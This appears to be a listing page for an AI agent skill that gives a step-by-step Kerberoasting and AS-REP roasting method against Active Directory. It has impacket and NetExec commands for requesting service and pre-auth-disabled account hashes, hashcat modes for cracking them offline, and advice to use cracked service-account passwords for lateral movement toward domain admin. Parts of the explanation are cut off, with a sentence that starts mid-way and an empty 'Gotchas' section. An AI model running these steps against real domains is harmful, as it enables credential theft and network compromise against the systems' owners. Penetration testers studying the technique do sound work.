Ad kerberoasting

From NoorQureshi/security-skills · View interactive version

Ad kerberoasting is an AI agent skill from the GitHub repository NoorQureshi/security-skills. Kerberoasting & AS-REP roasting — request/crack Kerberos tickets to recover service/user passwords offline. Load with any domain foothold or valid domain creds, on "kerberoast", "AS-REP", SPNs, service accounts, ports 88/389. Signals: domain creds in hand, SPNs set, accounts with pre-auth disabled.

How to use this skill

Skill file

Kerberoasting & AS-REP roasting

When it applies

You have valid domain credentials (kerberoasting) or just a username list (AS-REP). Both recover

plaintext passwords offline by cracking Kerberos-issued material — no lockout risk.

Why it works

with an SPN; part of it is encrypted with the service account's password hash. Crack it offline.

encrypted with the user's key to anyone — no creds needed, just the username.

Method

  1. Kerberoast (need creds): impacket-GetUserSPNs corp.local/user:pass -dc-ip DC -request

(or nxc ldap DC -u user -p pass --kerberoasting out.txt). Service accounts are prime targets.

  1. AS-REP roast (no creds needed): `impacket-GetNPUsers corp.local/ -usersfile users.txt

-no-pass -request` — pulls hashes for pre-auth-disabled accounts.

  1. Crack offline: hashcat -m 13100 (TGS) / -m 18200 (AS-REP) with rockyou + rules.
  2. Use the creds: service accounts are often privileged → lateral movement / DA path

(ad-pivot-arsenal, network-pivoting-tunneling).

Gotchas

Verify success

A cracked plaintext password for a domain account, then authenticated access with it.

References

impacket GetUserSPNs/GetNPUsers; hashcat modes 13100/18200; "Kerberoasting" (Harmj0y).

Use this skill with your AI agent: Open on Skill Issue to copy, download, or add to your library. Works with Claude, ChatGPT, Gemini, Cursor, Windsurf and more.